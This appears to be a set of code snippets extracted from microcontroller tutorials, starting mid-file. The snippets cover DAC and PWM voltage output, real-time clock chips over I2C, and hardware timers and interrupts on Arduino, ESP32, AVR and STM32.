    HAL_DAC_ConfigChannel(&hdac, &sConfig, DAC_CHANNEL_1);

    // Start DAC
    HAL_DAC_Start(&hdac, DAC_CHANNEL_1);
}

void DAC_SetVoltage(float voltage) {
    // Convert voltage to 12-bit value
    // Assuming 3.3V reference
    uint32_t value = (uint32_t)((voltage / 3.3f) * 4095.0f);

    if (value > 4095) value = 4095;

    HAL_DAC_SetValue(&hdac, DAC_CHANNEL_1, DAC_ALIGN_12B_R, value);
}

void DAC_SetValue(uint16_t value) {
    HAL_DAC_SetValue(&hdac, DAC_CHANNEL_1, DAC_ALIGN_12B_R, value);
}

// DMA-based waveform generation
uint16_t sineWave[100];

void DAC_GenerateSineWave_DMA(void) {
    // Pre-calculate sine wave
    for (int i = 0; i < 100; i++) {
        sineWave[i] = (uint16_t)((sin(2.0 * PI * i / 100.0) + 1.0) * 2047.5);
    }

    // Start DAC with DMA
    HAL_DAC_Start_DMA(&hdac, DAC_CHANNEL_1, (uint32_t*)sineWave, 100,
                      DAC_ALIGN_12B_R);

    // Configure timer to trigger DAC at specific rate
    // This enables continuous waveform output
}

#include <Wire.h>
#include <Adafruit_MCP4725.h>

Adafruit_MCP4725 dac;  // 12-bit DAC

void setup() {
  Serial.begin(115200);

  // Initialize MCP4725 (default address 0x62)
  if (!dac.begin(0x62)) {
    Serial.println("Failed to initialize MCP4725!");
    while (1);
  }

  Serial.println("MCP4725 initialized!");
}

void loop() {
  // Set voltage (0-4095 for 12-bit)
  // Vout = (value / 4095) * Vdd
  dac.setVoltage(2048, false);  // Output ~1.65V (Vdd/2)

  delay(1000);
}

// Ramp voltage smoothly
void rampVoltage(uint16_t start, uint16_t end, uint16_t steps) {
  int16_t increment = (end - start) / steps;

  for (uint16_t i = 0; i < steps; i++) {
    uint16_t value = start + (i * increment);
    dac.setVoltage(value, false);
    delay(10);
  }
}

// Generate precise voltage
void setVoltage(float voltage) {
  // Assuming 5V Vdd
  uint16_t value = (uint16_t)((voltage / 5.0) * 4095.0);
  dac.setVoltage(value, false);
}

// Store value in EEPROM (survives power cycle)
void saveVoltage(uint16_t value) {
  dac.setVoltage(value, true);  // true = write to EEPROM
}

// Arduino Uno doesn't have true DAC, use PWM with filtering

const int pwmPin = 9;  // Any PWM pin

void setup() {
  pinMode(pwmPin, OUTPUT);

  // Increase PWM frequency for smoother output
  // Default: 490 Hz for pins 5,6 and 980 Hz for others
  // Setting for pin 9 and 10:
  TCCR1B = TCCR1B & 0b11111000 | 0x01;  // 31.25 kHz
}

void loop() {
  // Output 2.5V (50% duty cycle with 5V Vdd)
  analogWrite(pwmPin, 128);  // 0-255 range

  delay(1000);
}

// Hardware low-pass filter (required for PWM DAC):
// PWM Pin ----1kohm----, Output
//                      |
//                    10uF
//                      |
//                     GND
//
// Cutoff frequency = 1 / (2*pi * R * C) = ~16 Hz

// Convert voltage to PWM value
void setPWMVoltage(float voltage) {
  int pwmValue = (int)((voltage / 5.0) * 255.0);
  analogWrite(pwmPin, constrain(pwmValue, 0, 255));
}

// Simple audio playback
const byte audioSample[] = {128, 150, 172, 192, 209, ...};
const int sampleRate = 8000;  // 8 kHz

void playAudio() {
  for (int i = 0; i < sizeof(audioSample); i++) {
    dacWrite(25, audioSample[i]);
    delayMicroseconds(1000000 / sampleRate);
  }
}

// Generate precise reference voltage
void setReferenceVoltage(float voltage) {
  // Using 12-bit DAC with 3.3V reference
  uint16_t value = (uint16_t)((voltage / 3.3) * 4095);
  analogWrite(DAC0, value);
}

// Example: Generate 1.024V reference
void setup() {
  analogWriteResolution(12);
  setReferenceVoltage(1.024);  // Output constant 1.024V
}

// Control motor speed with voltage
void setMotorSpeed(int speedPercent) {
  // 0% = 0V, 100% = 3.3V
  int dacValue = map(speedPercent, 0, 100, 0, 255);
  dacWrite(25, dacValue);
}

// Unlike PWM, DAC gives true DC voltage
void setLEDBrightness(int percent) {
  int dacValue = map(percent, 0, 100, 0, 255);
  dacWrite(25, dacValue);
  // No flickering or PWM noise!
}

// Generate test signals
void generateDCOffset(float voltage) {
  uint16_t value = (uint16_t)((voltage / 3.3) * 4095);
  analogWrite(DAC0, value);
}

// Programmable voltage divider
void setProgrammableVoltage(float targetVoltage) {
  if (targetVoltage <= 3.3) {
    generateDCOffset(targetVoltage);
  }
}

// Sine wave lookup table (256 samples)
const uint8_t sineTable[256] PROGMEM = {
  127, 130, 133, 136, 139, 143, 146, 149,
  152, 155, 158, 161, 164, 167, 170, 173,
  // ... full 256 values
};

void generateSineFromTable(int frequency) {
  int delayTime = 1000000 / (frequency * 256);

  for (int i = 0; i < 256; i++) {
    uint8_t value = pgm_read_byte(&sineTable[i]);
    dacWrite(25, value);
    delayMicroseconds(delayTime);
  }
}

For cleaner output, add RC low-pass filter:

DAC Out ----100ohm----, Output
                       |
                     100nF
                       |
                      GND

For driving loads, add op-amp buffer:

DAC Out ----, Op-Amp ---- Output
            |        |
            +--------+
              Feedback

// Allow settling time after DAC update
void setDACWithSettling(uint16_t value) {
  analogWrite(DAC0, value);
  delayMicroseconds(10);  // Wait for output to settle
}

// Use external voltage reference for precision
// Internal reference can drift with temperature

Decimal 59 = 0101 1001 BCD
             5     9

Decimal to BCD: 59 = (5 << 4) | 9 = 0x59
BCD to Decimal: 0x59 = ((0x59 >> 4) * 10) + (0x59 & 0x0F) = 59

// Decimal to BCD
uint8_t dec_to_bcd(uint8_t val) {
    return ((val / 10) << 4) | (val % 10);
}

// BCD to Decimal
uint8_t bcd_to_dec(uint8_t val) {
    return ((val >> 4) * 10) + (val & 0x0F);
}

Connections:
  RTC VCC  -> 3.3V or 5V
  RTC GND  -> GND
  RTC SDA  -> SDA (with pull-up resistor)
  RTC SCL  -> SCL (with pull-up resistor)

Pull-up resistors: 4.7kΩ typical

RTC Module          Microcontroller
    ┌────┐
VCC ┤    ├─ VCC (3.3V/5V)
GND ┤    ├─ GND
SDA ┤    ├─ SDA (with 4.7kΩ pull-up)
SCL ┤    ├─ SCL (with 4.7kΩ pull-up)
    └────┘

Register  Function
0x00      Seconds (00-59)
0x01      Minutes (00-59)
0x02      Hours (00-23 or 01-12)
0x03      Day of week (1-7)
0x04      Date (01-31)
0x05      Month (01-12)
0x06      Year (00-99)
0x07      Control (SQW output)
0x08-0x3F RAM (56 bytes)

Bit Layout:
Seconds:  0  | 10-sec | sec
          CH | 4 2 1  | 8 4 2 1

CH = Clock Halt bit (0 = running, 1 = stopped)

#include <Wire.h>
#include <RTClib.h>

RTC_DS1307 rtc;

void setup() {
    Serial.begin(9600);
    Wire.begin();

    if (!rtc.begin()) {
        Serial.println("Couldn't find RTC");
        while (1);
    }

    if (!rtc.isrunning()) {
        Serial.println("RTC is NOT running, setting time...");
        // Set to compile time
        rtc.adjust(DateTime(F(__DATE__), F(__TIME__)));
        // Or set manually:
        // rtc.adjust(DateTime(2024, 1, 15, 12, 30, 0));
    }
}

void loop() {
    DateTime now = rtc.now();

    Serial.print(now.year(), DEC);
    Serial.print('/');
    Serial.print(now.month(), DEC);
    Serial.print('/');
    Serial.print(now.day(), DEC);
    Serial.print(" ");
    Serial.print(now.hour(), DEC);
    Serial.print(':');
    Serial.print(now.minute(), DEC);
    Serial.print(':');
    Serial.println(now.second(), DEC);

    delay(1000);
}

#include <Wire.h>

#define DS1307_ADDR 0x68

uint8_t dec_to_bcd(uint8_t val) {
    return ((val / 10) << 4) | (val % 10);
}

uint8_t bcd_to_dec(uint8_t val) {
    return ((val >> 4) * 10) + (val & 0x0F);
}

void ds1307_set_time(uint8_t hour, uint8_t min, uint8_t sec) {
    Wire.beginTransmission(DS1307_ADDR);
    Wire.write(0x00);  // Start at seconds register
    Wire.write(dec_to_bcd(sec) & 0x7F);  // Clear CH bit
    Wire.write(dec_to_bcd(min));
    Wire.write(dec_to_bcd(hour));
    Wire.endTransmission();
}

void ds1307_set_date(uint8_t day, uint8_t date, uint8_t month, uint8_t year) {
    Wire.beginTransmission(DS1307_ADDR);
    Wire.write(0x03);  // Start at day register
    Wire.write(dec_to_bcd(day));
    Wire.write(dec_to_bcd(date));
    Wire.write(dec_to_bcd(month));
    Wire.write(dec_to_bcd(year));
    Wire.endTransmission();
}

void ds1307_read_time(uint8_t *hour, uint8_t *min, uint8_t *sec) {
    Wire.beginTransmission(DS1307_ADDR);
    Wire.write(0x00);  // Start at seconds register
    Wire.endTransmission();

    Wire.requestFrom(DS1307_ADDR, 3);
    *sec = bcd_to_dec(Wire.read() & 0x7F);
    *min = bcd_to_dec(Wire.read());
    *hour = bcd_to_dec(Wire.read());
}

void setup() {
    Serial.begin(9600);
    Wire.begin();

    // Set time: 12:30:00
    ds1307_set_time(12, 30, 0);

    // Set date: Monday, 15/01/24
    ds1307_set_date(1, 15, 1, 24);
}

void loop() {
    uint8_t hour, min, sec;

    ds1307_read_time(&hour, &min, &sec);

    Serial.print(hour);
    Serial.print(":");
    Serial.print(min);
    Serial.print(":");
    Serial.println(sec);

    delay(1000);
}

Register  Function
0x00      Seconds (00-59)
0x01      Minutes (00-59)
0x02      Hours (00-23 or 01-12)
0x03      Day of week (1-7)
0x04      Date (01-31)
0x05      Month/Century (01-12)
0x06      Year (00-99)
0x07-0x0A Alarm 1
0x0B-0x0D Alarm 2
0x0E      Control
0x0F      Control/Status
0x10      Aging offset
0x11-0x12 Temperature

#include <Wire.h>
#include <RTClib.h>

RTC_DS3231 rtc;

void setup() {
    Serial.begin(9600);
    Wire.begin();

    if (!rtc.begin()) {
        Serial.println("Couldn't find RTC");
        while (1);
    }

    if (rtc.lostPower()) {
        Serial.println("RTC lost power, setting time...");
        rtc.adjust(DateTime(F(__DATE__), F(__TIME__)));
    }
}

void loop() {
    DateTime now = rtc.now();

    // Print time
    Serial.print(now.year(), DEC);
    Serial.print('/');
    Serial.print(now.month(), DEC);
    Serial.print('/');
    Serial.print(now.day(), DEC);
    Serial.print(" ");
    Serial.print(now.hour(), DEC);
    Serial.print(':');
    Serial.print(now.minute(), DEC);
    Serial.print(':');
    Serial.print(now.second(), DEC);

    // Print temperature
    float temp = rtc.getTemperature();
    Serial.print(" Temp: ");
    Serial.print(temp);
    Serial.println("°C");

    delay(1000);
}

#include <Wire.h>
#include <RTClib.h>

RTC_DS3231 rtc;

void setup() {
    Serial.begin(9600);
    Wire.begin();
    rtc.begin();

    // Set alarm 1 for every day at 12:30:00
    rtc.setAlarm1(DateTime(0, 0, 0, 12, 30, 0), DS3231_A1_Hour);

    // Enable alarm interrupt
    rtc.disableAlarm(1);
    rtc.disableAlarm(2);
    rtc.clearAlarm(1);
    rtc.clearAlarm(2);
    rtc.writeSqwPinMode(DS3231_OFF);  // Disable square wave
}

void loop() {
    if (rtc.alarmFired(1)) {
        Serial.println("Alarm 1 triggered!");
        rtc.clearAlarm(1);
    }

    delay(1000);
}

#include <Wire.h>

#define DS3231_ADDR 0x68
#define TEMP_MSB    0x11
#define TEMP_LSB    0x12

float ds3231_get_temperature() {
    Wire.beginTransmission(DS3231_ADDR);
    Wire.write(TEMP_MSB);
    Wire.endTransmission();

    Wire.requestFrom(DS3231_ADDR, 2);
    uint8_t msb = Wire.read();
    uint8_t lsb = Wire.read();

    // Combine MSB and LSB
    int16_t temp = (msb << 2) | (lsb >> 6);

    // Handle negative temperatures
    if (temp & 0x200) {
        temp |= 0xFC00;
    }

    return temp * 0.25;
}

void setup() {
    Serial.begin(9600);
    Wire.begin();
}

void loop() {
    float temperature = ds3231_get_temperature();

    Serial.print("Temperature: ");
    Serial.print(temperature);
    Serial.println("°C");

    delay(1000);
}

#include <Wire.h>
#include <RTClib.h>

RTC_PCF8523 rtc;

void setup() {
    Serial.begin(9600);
    Wire.begin();

    if (!rtc.begin()) {
        Serial.println("Couldn't find RTC");
        while (1);
    }

    if (!rtc.initialized() || rtc.lostPower()) {
        Serial.println("RTC is NOT initialized, setting time...");
        rtc.adjust(DateTime(F(__DATE__), F(__TIME__)));
    }

    // Start RTC
    rtc.start();
}

void loop() {
    DateTime now = rtc.now();

    Serial.print(now.year(), DEC);
    Serial.print('/');
    Serial.print(now.month(), DEC);
    Serial.print('/');
    Serial.print(now.day(), DEC);
    Serial.print(" ");
    Serial.print(now.hour(), DEC);
    Serial.print(':');
    Serial.print(now.minute(), DEC);
    Serial.print(':');
    Serial.println(now.second(), DEC);

    delay(1000);
}

#include <Wire.h>
#include <RTClib.h>
#include <SD.h>

RTC_DS3231 rtc;
const int CS_PIN = 10;

void setup() {
    Serial.begin(9600);
    Wire.begin();

    if (!rtc.begin()) {
        Serial.println("RTC error");
        while (1);
    }

    if (!SD.begin(CS_PIN)) {
        Serial.println("SD card error");
        while (1);
    }
}

void loop() {
    DateTime now = rtc.now();
    float temp = rtc.getTemperature();

    // Create filename
    char filename[13];
    sprintf(filename, "%04d%02d%02d.txt", 
            now.year(), now.month(), now.day());

    // Open file
    File dataFile = SD.open(filename, FILE_WRITE);

    if (dataFile) {
        // Write timestamp and data
        dataFile.print(now.hour());
        dataFile.print(":");
        dataFile.print(now.minute());
        dataFile.print(":");
        dataFile.print(now.second());
        dataFile.print(",");
        dataFile.println(temp);

        dataFile.close();

        Serial.println("Data logged");
    } else {
        Serial.println("Error opening file");
    }

    delay(60000);  // Log every minute
}

#include <Wire.h>
#include <RTClib.h>
#include <LiquidCrystal.h>

RTC_DS3231 rtc;
LiquidCrystal lcd(12, 11, 5, 4, 3, 2);

void setup() {
    Wire.begin();
    rtc.begin();
    lcd.begin(16, 2);

    if (rtc.lostPower()) {
        rtc.adjust(DateTime(F(__DATE__), F(__TIME__)));
    }
}

void loop() {
    DateTime now = rtc.now();

    // Display date on line 1
    lcd.setCursor(0, 0);
    lcd.print(now.day(), DEC);
    lcd.print('/');
    lcd.print(now.month(), DEC);
    lcd.print('/');
    lcd.print(now.year(), DEC);
    lcd.print("   ");

    // Display time on line 2
    lcd.setCursor(0, 1);
    if (now.hour() < 10) lcd.print('0');
    lcd.print(now.hour(), DEC);
    lcd.print(':');
    if (now.minute() < 10) lcd.print('0');
    lcd.print(now.minute(), DEC);
    lcd.print(':');
    if (now.second() < 10) lcd.print('0');
    lcd.print(now.second(), DEC);

    delay(1000);
}

#include <Wire.h>
#include <RTClib.h>

RTC_DS3231 rtc;

const int BUZZER_PIN = 9;
const int BUTTON_PIN = 2;

uint8_t alarm_hour = 7;
uint8_t alarm_minute = 30;
bool alarm_active = false;

void setup() {
    Serial.begin(9600);
    Wire.begin();
    rtc.begin();

    pinMode(BUZZER_PIN, OUTPUT);
    pinMode(BUTTON_PIN, INPUT_PULLUP);

    // Set alarm
    rtc.setAlarm1(DateTime(0, 0, 0, alarm_hour, alarm_minute, 0), 
                  DS3231_A1_Hour);
}

void loop() {
    DateTime now = rtc.now();

    // Check alarm
    if (rtc.alarmFired(1)) {
        alarm_active = true;
        rtc.clearAlarm(1);
    }

    // Sound buzzer if alarm active
    if (alarm_active) {
        tone(BUZZER_PIN, 1000, 500);
        delay(1000);

        // Check for button press to stop
        if (digitalRead(BUTTON_PIN) == LOW) {
            alarm_active = false;
            noTone(BUZZER_PIN);
        }
    }

    // Display time
    Serial.print(now.hour());
    Serial.print(":");
    Serial.print(now.minute());
    Serial.print(":");
    Serial.println(now.second());

    delay(1000);
}

#include "main.h"
#include <stdio.h>

I2C_HandleTypeDef hi2c1;

#define DS3231_ADDR (0x68 << 1)

uint8_t dec_to_bcd(uint8_t val) {
    return ((val / 10) << 4) | (val % 10);
}

uint8_t bcd_to_dec(uint8_t val) {
    return ((val >> 4) * 10) + (val & 0x0F);
}

void ds3231_set_time(uint8_t hour, uint8_t min, uint8_t sec) {
    uint8_t data[4];
    data[0] = 0x00;  // Start register
    data[1] = dec_to_bcd(sec);
    data[2] = dec_to_bcd(min);
    data[3] = dec_to_bcd(hour);

    HAL_I2C_Master_Transmit(&hi2c1, DS3231_ADDR, data, 4, HAL_MAX_DELAY);
}

void ds3231_read_time(uint8_t *hour, uint8_t *min, uint8_t *sec) {
    uint8_t reg = 0x00;
    uint8_t data[3];

    HAL_I2C_Master_Transmit(&hi2c1, DS3231_ADDR, &reg, 1, HAL_MAX_DELAY);
    HAL_I2C_Master_Receive(&hi2c1, DS3231_ADDR, data, 3, HAL_MAX_DELAY);

    *sec = bcd_to_dec(data[0]);
    *min = bcd_to_dec(data[1]);
    *hour = bcd_to_dec(data[2]);
}

float ds3231_get_temperature(void) {
    uint8_t reg = 0x11;
    uint8_t data[2];

    HAL_I2C_Master_Transmit(&hi2c1, DS3231_ADDR, &reg, 1, HAL_MAX_DELAY);
    HAL_I2C_Master_Receive(&hi2c1, DS3231_ADDR, data, 2, HAL_MAX_DELAY);

    int16_t temp = (data[0] << 2) | (data[1] >> 6);

    if (temp & 0x200) {
        temp |= 0xFC00;
    }

    return temp * 0.25;
}

int main(void) {
    HAL_Init();
    SystemClock_Config();
    MX_I2C1_Init();
    MX_USART1_UART_Init();

    // Set initial time
    ds3231_set_time(12, 30, 0);

    while (1) {
        uint8_t hour, min, sec;
        ds3231_read_time(&hour, &min, &sec);

        float temp = ds3231_get_temperature();

        printf("%02d:%02d:%02d Temp: %.2f°C\r\n", hour, min, sec, temp);

        HAL_Delay(1000);
    }
}

#include <avr/io.h>
#include <util/delay.h>
#include <stdio.h>

#define DS1307_ADDR 0x68
#define F_SCL 100000UL
#define TWI_BITRATE ((F_CPU / F_SCL) - 16) / 2

uint8_t dec_to_bcd(uint8_t val) {
    return ((val / 10) << 4) | (val % 10);
}

uint8_t bcd_to_dec(uint8_t val) {
    return ((val >> 4) * 10) + (val & 0x0F);
}

void i2c_init(void) {
    TWBR = (uint8_t)TWI_BITRATE;
    TWCR = (1 << TWEN);
}

void i2c_start(void) {
    TWCR = (1 << TWINT) | (1 << TWSTA) | (1 << TWEN);
    while (!(TWCR & (1 << TWINT)));
}

void i2c_stop(void) {
    TWCR = (1 << TWINT) | (1 << TWSTO) | (1 << TWEN);
}

void i2c_write(uint8_t data) {
    TWDR = data;
    TWCR = (1 << TWINT) | (1 << TWEN);
    while (!(TWCR & (1 << TWINT)));
}

uint8_t i2c_read_ack(void) {
    TWCR = (1 << TWINT) | (1 << TWEN) | (1 << TWEA);
    while (!(TWCR & (1 << TWINT)));
    return TWDR;
}

uint8_t i2c_read_nack(void) {
    TWCR = (1 << TWINT) | (1 << TWEN);
    while (!(TWCR & (1 << TWINT)));
    return TWDR;
}

void ds1307_set_time(uint8_t hour, uint8_t min, uint8_t sec) {
    i2c_start();
    i2c_write((DS1307_ADDR << 1) | 0);
    i2c_write(0x00);  // Start register
    i2c_write(dec_to_bcd(sec));
    i2c_write(dec_to_bcd(min));
    i2c_write(dec_to_bcd(hour));
    i2c_stop();
}

void ds1307_read_time(uint8_t *hour, uint8_t *min, uint8_t *sec) {
    i2c_start();
    i2c_write((DS1307_ADDR << 1) | 0);
    i2c_write(0x00);  // Start register
    i2c_start();  // Repeated start
    i2c_write((DS1307_ADDR << 1) | 1);

    *sec = bcd_to_dec(i2c_read_ack());
    *min = bcd_to_dec(i2c_read_ack());
    *hour = bcd_to_dec(i2c_read_nack());

    i2c_stop();
}

int main(void) {
    i2c_init();
    uart_init();  // Assume UART is initialized

    // Set time to 12:30:00
    ds1307_set_time(12, 30, 0);

    while (1) {
        uint8_t hour, min, sec;
        ds1307_read_time(&hour, &min, &sec);

        printf("%02d:%02d:%02d\n", hour, min, sec);

        _delay_ms(1000);
    }

    return 0;
}

// Check I2C scanner result
Wire.beginTransmission(0x68);
if (Wire.endTransmission() == 0) {
    Serial.println("RTC found at 0x68");
} else {
    Serial.println("RTC not found");
}

// Define the pin number
const int ledPin = 13; // Pin number for the LED

void setup() {
  // Initialize the digital pin as an output.
  pinMode(ledPin, OUTPUT);
}

void loop() {
  // Turn the LED on (HIGH is the voltage level)
  digitalWrite(ledPin, HIGH);
  // Wait for a second
  delay(1000);
  // Turn the LED off by making the voltage LOW
  digitalWrite(ledPin, LOW);
  // Wait for a second
  delay(1000);
}

System Clock (16 MHz)
    ->
Prescaler (/256)
    ->
Timer Clock (62.5 kHz)
    ->
Counter increments at 62.5 kHz

Timer Frequency = CPU Frequency / Prescaler

Timer Period = 1 / Timer Frequency

Overflow Time = (2^bits / Timer Frequency)

Prescaler = 256
Timer Frequency = 16,000,000 / 256 = 62,500 Hz
Timer Period = 1 / 62,500 = 16 us per tick

For 8-bit timer (0-255):
Overflow Time = 256 * 16 us = 4.096 ms

For 16-bit timer (0-65535):
Overflow Time = 65,536 * 16 us = 1.048 seconds

// Using Timer1 (16-bit) for 1ms interrupt

volatile unsigned long millisCounter = 0;

void setup() {
  Serial.begin(9600);

  // Stop interrupts during setup
  cli();

  // Reset Timer1
  TCCR1A = 0;
  TCCR1B = 0;
  TCNT1 = 0;

  // Set compare match register for 1ms
  // OCR1A = (16MHz / (prescaler * desired frequency)) - 1
  // OCR1A = (16,000,000 / (64 * 1000)) - 1 = 249
  OCR1A = 249;

  // Turn on CTC mode (Clear Timer on Compare Match)
  TCCR1B |= (1 << WGM12);

  // Set CS11 and CS10 bits for 64 prescaler
  TCCR1B |= (1 << CS11) | (1 << CS10);

  // Enable timer compare interrupt
  TIMSK1 |= (1 << OCIE1A);

  // Enable global interrupts
  sei();
}

// Timer1 interrupt service routine (ISR)
ISR(TIMER1_COMPA_vect) {
  millisCounter++;

  // Your code here - keep it SHORT!
  // DO NOT use Serial.print() in ISR
}

void loop() {
  // Use millisCounter instead of millis()
  static unsigned long lastPrint = 0;

  if (millisCounter - lastPrint >= 1000) {
    lastPrint = millisCounter;
    Serial.println(millisCounter);
  }
}

// ESP32 has 4 hardware timers (0-3)

hw_timer_t *timer = NULL;
volatile uint32_t timerCounter = 0;

void IRAM_ATTR onTimer() {
  timerCounter++;
  // Keep ISR short and fast!
}

void setup() {
  Serial.begin(115200);

  // Initialize timer (timer number, prescaler, count up)
  // ESP32 clock is 80 MHz
  // Prescaler of 80 gives 1 MHz (1 tick = 1 us)
  timer = timerBegin(0, 80, true);

  // Attach interrupt function
  timerAttachInterrupt(timer, &onTimer, true);

  // Set alarm to trigger every 1ms (1000 us)
  timerAlarmWrite(timer, 1000, true);  // true = auto-reload

  // Enable timer alarm
  timerAlarmEnable(timer);

  Serial.println("Timer initialized!");
}

void loop() {
  static uint32_t lastCount = 0;

  if (timerCounter - lastCount >= 1000) {
    lastCount = timerCounter;
    Serial.print("Timer count: ");
    Serial.println(timerCounter);
  }
}

// Ticker library (easier alternative)
#include <Ticker.h>

Ticker ticker;
volatile int count = 0;

void timerCallback() {
  count++;
}

void setup() {
  // Call timerCallback every 0.001 seconds (1ms)
  ticker.attach(0.001, timerCallback);
}

#include "stm32f4xx_hal.h"

TIM_HandleTypeDef htim2;
volatile uint32_t timerTicks = 0;

void Timer_Init(void) {
    TIM_ClockConfigTypeDef sClockSourceConfig = {0};
    TIM_MasterConfigTypeDef sMasterConfig = {0};

    // TIM2 configuration
    // APB1 clock = 84 MHz (for STM32F4)
    // Prescaler = 8400 - 1 -> 10 kHz timer clock
    // Period = 10 - 1 -> 1 kHz interrupt (1ms)

    htim2.Instance = TIM2;
    htim2.Init.Prescaler = 8400 - 1;      // 84 MHz / 8400 = 10 kHz
    htim2.Init.CounterMode = TIM_COUNTERMODE_UP;
    htim2.Init.Period = 10 - 1;           // 10 kHz / 10 = 1 kHz (1ms)
    htim2.Init.ClockDivision = TIM_CLOCKDIVISION_DIV1;
    htim2.Init.AutoReloadPreload = TIM_AUTORELOAD_PRELOAD_DISABLE;
    HAL_TIM_Base_Init(&htim2);

    sClockSourceConfig.ClockSource = TIM_CLOCKSOURCE_INTERNAL;
    HAL_TIM_ConfigClockSource(&htim2, &sClockSourceConfig);

    // Enable timer interrupt
    HAL_TIM_Base_Start_IT(&htim2);
}

// Timer interrupt callback
void HAL_TIM_PeriodElapsedCallback(TIM_HandleTypeDef *htim) {
    if (htim->Instance == TIM2) {
        timerTicks++;
        // Your periodic code here
    }
}

// In main.c, enable interrupt in NVIC
void MX_TIM2_Init(void) {
    Timer_Init();
    HAL_NVIC_SetPriority(TIM2_IRQn, 0, 0);
    HAL_NVIC_EnableIRQ(TIM2_IRQn);
}

// Arduino PWM using Timer1

void setup() {
  // Set pins as output
  pinMode(9, OUTPUT);   // OC1A
  pinMode(10, OUTPUT);  // OC1B

  // Stop timer during configuration
  TCCR1A = 0;
  TCCR1B = 0;

  // Fast PWM mode, ICR1 as TOP
  // WGM13:0 = 14 (Fast PWM, TOP = ICR1)
  TCCR1A = (1 << WGM11);
  TCCR1B = (1 << WGM13) | (1 << WGM12);

  // Non-inverting mode for both channels
  TCCR1A |= (1 << COM1A1) | (1 << COM1B1);

  // Prescaler = 8
  TCCR1B |= (1 << CS11);

  // Set TOP value for desired frequency
  // PWM Frequency = F_CPU / (Prescaler * (1 + TOP))
  // For 50 Hz: TOP = 16,000,000 / (8 * 50) - 1 = 39999
  ICR1 = 39999;  // 50 Hz

  // Set duty cycle
  OCR1A = 3000;  // ~7.5% duty cycle on pin 9
  OCR1B = 6000;  // ~15% duty cycle on pin 10
}

// Servo control example
void setServoAngle(uint8_t angle) {
  // Servo expects 1ms-2ms pulse every 20ms (50 Hz)
  // 1ms = 0 degrees = 2000 counts
  // 1.5ms = 90 degrees = 3000 counts
  // 2ms = 180 degrees = 4000 counts

  uint16_t pulse = map(angle, 0, 180, 2000, 4000);
  OCR1A = pulse;
}

void loop() {
  setServoAngle(0);
  delay(1000);
  setServoAngle(90);
  delay(1000);
  setServoAngle(180);
  delay(1000);
}

// Measure frequency of external signal on pin 8 (ICP1)

volatile unsigned long captureTime1 = 0;
volatile unsigned long captureTime2 = 0;
volatile boolean newCapture = false;

void setup() {
  Serial.begin(9600);

  // Configure Timer1 for input capture
  TCCR1A = 0;
  TCCR1B = 0;

  // Prescaler = 64 (250 kHz timer, 4us resolution)
  TCCR1B |= (1 << CS11) | (1 << CS10);

  // Input Capture on rising edge
  TCCR1B |= (1 << ICES1);

  // Enable input capture interrupt
  TIMSK1 |= (1 << ICIE1);

  // Enable global interrupts
  sei();
}

// Input capture interrupt
ISR(TIMER1_CAPT_vect) {
  static boolean firstCapture = true;

  if (firstCapture) {
    captureTime1 = ICR1;
    firstCapture = false;
  } else {
    captureTime2 = ICR1;
    newCapture = true;
    firstCapture = true;
  }
}

void loop() {
  if (newCapture) {
    newCapture = false;

    // Calculate period
    unsigned long period = captureTime2 - captureTime1;

    // Calculate frequency
    // Timer runs at 250 kHz (4us per tick)
    float frequency = 250000.0 / period;

    Serial.print("Frequency: ");
    Serial.print(frequency);
    Serial.println(" Hz");
  }
}

unsigned long previousMillis = 0;
const long interval = 1000;

void loop() {
  unsigned long currentMillis = millis();

  if (currentMillis - previousMillis >= interval) {
    previousMillis = currentMillis;

    // Execute every 1 second without blocking
    toggleLED();
  }

  // Other code runs continuously
  checkSensors();
  processData();
}

volatile uint32_t timerTicks = 0;

ISR(TIMER1_COMPA_vect) {
  timerTicks++;
}

void loop() {
  static uint32_t lastTask1 = 0;
  static uint32_t lastTask2 = 0;
  static uint32_t lastTask3 = 0;

  // Task 1: Every 10ms
  if (timerTicks - lastTask1 >= 10) {
    lastTask1 = timerTicks;
    readSensors();
  }

  // Task 2: Every 100ms
  if (timerTicks - lastTask2 >= 100) {
    lastTask2 = timerTicks;
    updateDisplay();
  }

  // Task 3: Every 1000ms
  if (timerTicks - lastTask3 >= 1000) {
    lastTask3 = timerTicks;
    sendData();
  }
}

#include <avr/wdt.h>

void setup() {
  // Enable watchdog timer (8 second timeout)
  wdt_enable(WDTO_8S);
}

void loop() {
  // Do work
  processData();

  // Reset watchdog (prevent system reset)
  wdt_reset();

  // If code hangs, watchdog resets system after 8 seconds
}

// Using timer to maintain time

volatile uint32_t seconds = 0;
volatile uint16_t milliseconds = 0;

ISR(TIMER1_COMPA_vect) {
  milliseconds++;

  if (milliseconds >= 1000) {
    milliseconds = 0;
    seconds++;
  }
}

void getTime(uint8_t *hours, uint8_t *minutes, uint8_t *secs) {
  noInterrupts();
  uint32_t totalSeconds = seconds;
  interrupts();

  *hours = (totalSeconds / 3600) % 24;
  *minutes = (totalSeconds / 60) % 60;
  *secs = totalSeconds % 60;
}

volatile uint32_t timerMs = 0;

ISR(TIMER1_COMPA_vect) {
  timerMs++;
}

const int buttonPin = 2;
const int debounceTime = 50;  // 50ms

bool readButtonDebounced() {
  static uint32_t lastDebounceTime = 0;
  static bool lastButtonState = HIGH;
  static bool buttonState = HIGH;

  bool reading = digitalRead(buttonPin);

  if (reading != lastButtonState) {
    lastDebounceTime = timerMs;
  }

  if ((timerMs - lastDebounceTime) > debounceTime) {
    if (reading != buttonState) {
      buttonState = reading;
      return (buttonState == LOW);  // Return true on button press
    }
  }

  lastButtonState = reading;
  return false;
}

// BAD - Don't do this in ISR!
ISR(TIMER1_COMPA_vect) {
  Serial.println("Timer fired");  // Serial is slow!
  delay(100);                      // Blocks other interrupts!
  float result = complexCalculation();  // Takes too long!
}

// GOOD - Set flags, process in main loop
volatile bool timerFlag = false;

ISR(TIMER1_COMPA_vect) {
  timerFlag = true;  // Just set a flag
}

void loop() {
  if (timerFlag) {
    timerFlag = false;
    Serial.println("Timer fired");  // Do slow stuff here
    processData();
  }
}

volatile uint32_t sharedCounter = 0;

ISR(TIMER1_COMPA_vect) {
  sharedCounter++;
}

void loop() {
  // BAD - Not atomic! Can be corrupted if interrupt occurs mid-read
  uint32_t localCopy = sharedCounter;

  // GOOD - Disable interrupts during multi-byte read
  noInterrupts();
  uint32_t localCopy = sharedCounter;
  interrupts();

  Serial.println(localCopy);
}

// Formula for CTC mode:
// Compare Value = (F_CPU / (Prescaler * Desired_Frequency)) - 1

#define F_CPU 16000000UL
#define PRESCALER 64
#define DESIRED_HZ 1000  // 1 kHz

